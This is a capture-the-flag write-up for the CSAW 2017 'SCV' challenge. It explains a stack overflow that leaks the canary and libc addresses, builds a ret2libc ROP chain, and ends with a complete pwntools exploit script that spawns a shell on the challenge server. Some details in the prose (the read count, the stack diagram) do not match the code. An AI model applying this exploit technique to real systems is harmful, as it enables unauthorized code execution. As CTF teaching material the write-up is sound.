CSAW Quals 2017: SCV

SCV

pwn – 100 points

Description

SCV is too hungry to mine the minerals. Can you give him some food?

Files

scv

libc-2.23.so

Solution

We’re given a 64-bit ELF file and a libc. When we run the file we see that it gives us a menu with two options. Option 1 lets us give it an input, and option 2 prints out whatever we gave it.

brad@ctf$ ./true
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>aaaa
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
aaaa

-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>

Canary and NX are enabled, so we can’t put shellcode on the stack.

brad@ctf$ checksec scv
[*] '/home/brad/gd/School/wcsc/ctf/17/csawquals/scv/scv'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

When disassembled, we can see that the input is pulled in with a call to read with a count of 0xfe

  400cba:       48 8d 85 50 ff ff ff    lea    rax,[rbp-0xb0]
  400cc1:       ba f8 00 00 00          mov    edx,0xf8
  400cc6:       48 89 c6                mov    rsi,rax
  400cc9:       bf 00 00 00 00          mov    edi,0x0
  400cce:       e8 2d fc ff ff          call   400900 <read@plt>
  400cd3:       89 85 4c ff ff ff       mov    DWORD PTR [rbp-0xb4],eax

Our input is printed back to us with a call to puts:

  400d6a:       48 8d 85 50 ff ff ff    lea    rax,[rbp-0xb0]
  400d71:       48 89 c7                mov    rdi,rax
  400d74:       e8 57 fb ff ff          call   4008d0 <puts@plt>

It took me a while to see it, but I noticed that if I put enough characters on the buffer, I can knock out all the NULL bytes and print data further down the stack.

Before overflow at puts call:

gdb-peda$ x/32gx $rsp
0x7fffffffdcc0: 0x0000000200000000      0x0000000500000001
0x7fffffffdcd0: 0x0000000a61616161      0x00000000006022f9 <-- Input (aaaa\n)
0x7fffffffdce0: 0x0000000000400930      0x0000000000400930
0x7fffffffdcf0: 0x0000000000602080      0x00007ffff76c2519
0x7fffffffdd00: 0x0000000000000001      0x00007fffffffdd30
0x7fffffffdd10: 0x0000000000601df8      0x0000000000400e1b
0x7fffffffdd20: 0x00007fffffffde30      0x000000010000ffff
0x7fffffffdd30: 0x00007fffffffdd40      0x0000000000400e31
0x7fffffffdd40: 0x0000000000000002      0x0000000000400e8d
0x7fffffffdd50: 0x0000007e0000007d      0x0000000000000000
0x7fffffffdd60: 0x0000000000400e40      0x00000000004009a0
0x7fffffffdd70: 0x00007fffffffde60      0x574803a42e1bb000 <-- Canary
0x7fffffffdd80: 0x0000000000400e40      0x00007ffff76a83f1 <-- Return RIP
0x7fffffffdd90: 0xffffffffffffffff      0x00007fffffffde68
0x7fffffffdda0: 0x0000000100000004      0x0000000000400a96
0x7fffffffddb0: 0x0000000000000000      0x03c3eeb2f168a210
gdb-peda$

After overflow at puts call:

gdb-peda$ x/32gx $rsp
0x7fffffffdcc0: 0x0000000200000000      0x000000aa00000001
0x7fffffffdcd0: 0x6161616161616161      0x6161616161616161 <-- Input (168 a's)
0x7fffffffdce0: 0x6161616161616161      0x6161616161616161
0x7fffffffdcf0: 0x6161616161616161      0x6161616161616161
0x7fffffffdd00: 0x6161616161616161      0x6161616161616161
0x7fffffffdd10: 0x6161616161616161      0x6161616161616161
0x7fffffffdd20: 0x6161616161616161      0x6161616161616161
0x7fffffffdd30: 0x6161616161616161      0x6161616161616161
0x7fffffffdd40: 0x6161616161616161      0x6161616161616161
0x7fffffffdd50: 0x6161616161616161      0x6161616161616161
0x7fffffffdd60: 0x6161616161616161      0x6161616161616161
0x7fffffffdd70: 0x6161616161616161      0x574803a42e1bb00a <-- Canary
0x7fffffffdd80: 0x0000000000400e40      0x00007ffff76a83f1 <-- Return RIP
0x7fffffffdd90: 0xffffffffffffffff      0x00007fffffffde68
0x7fffffffdda0: 0x0000000100000004      0x0000000000400a96
0x7fffffffddb0: 0x0000000000000000      0xeb6659801fd96383
gdb-peda$

Notice that the canary contains a null byte so we have to overflow that for now and put it back later.

So since this is a 64-bit system, we’ll need to load /bin/sh into RDI. I used http://ropshell.com to find a pop rdi ROP gadget.

So our stack should look like this:

|---------------------|
|      aaaaa...       |
|---------------------|
|   Canary we leaked  |
|---------------------|
|       New RBP       |
|---------------------|
|    pop rdi gadget   |
|---------------------|
|       system        |
|---------------------|
|        exit         |
|---------------------|

When run we get our shell:

[*] Switching to interactive mode
[*]BYE ~ TIME TO MINE MIENRALS...
$ cat flag
flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}
$

Solution Script

#!/usr/bin/env python

from pwn import *
from struct import pack,unpack
import re
from time import sleep

def leak_stack(p,dist):
    payload = 'a'*dist
    p.send('1\n')
    sleep(0.2)
    print(p.recv())
    p.send(payload)
    sleep(0.2)
    print(p.recv())
    p.send('2\n')
    sleep(0.2)
    return p.recv()

# local
#p = process('./true')
##p = gdb.attach('true')
##p = gdb.debug('./true', 'break *0x400dd7\nbreak *0x400dde')
#system = 0x0456a0
#exit = 0x03a2b0
#binsh = 0x18ac40
#setvbuf = 0x71230
#atexit = 0x3a500
#poprdi = 0x0001fd7a

# remote
p = remote('pwn.chal.csaw.io', 3764)
system = 0x45390
exit = 0x3a030
binsh = 0x18cd17
setvbuf = 0x06fe70
atexit = 0x3a280
poprdi = 0x00021102

print(p.recv())

# Leak libc
print("===Leaking libc===")
dist_to_atexit = 0x28
out = leak_stack(p, dist_to_atexit)
addr = out[178:184]
addr = unpack("<Q", addr + '\x00'*(8-len(addr)))[0]
libc = addr - atexit - 25 # offset may vary on target
print(hex(libc))

# Leak stack
print("===Leaking stack===")
dist_to_stack = 0x60
out = leak_stack(p,dist_to_stack)
addr = out[234:240]
addr = unpack("<Q", addr + '\x00'*(8-len(addr)))[0]
stack = addr + 0x200
print(hex(stack))

# Leak canary
print("===Leaking canary===")
dist_to_canary = 0xa9
out = leak_stack(p, dist_to_canary)
addr = out[307:314]
canary = unpack("<Q", '\x00' + addr)[0]
print(hex(canary))


# Create stack
payload = 'a'*(dist_to_canary-1)
payload += pack("<Q", canary)
payload += pack("<Q", stack)
payload += pack("<Q", libc+poprdi)
payload += pack("<Q", libc+binsh)
payload += pack("<Q", libc+system)
payload += pack("<Q", libc+exit)

p.send("1\n")
p.send(payload)
sleep(0.2)
print(p.recv())
p.send("3\n")
p.interactive()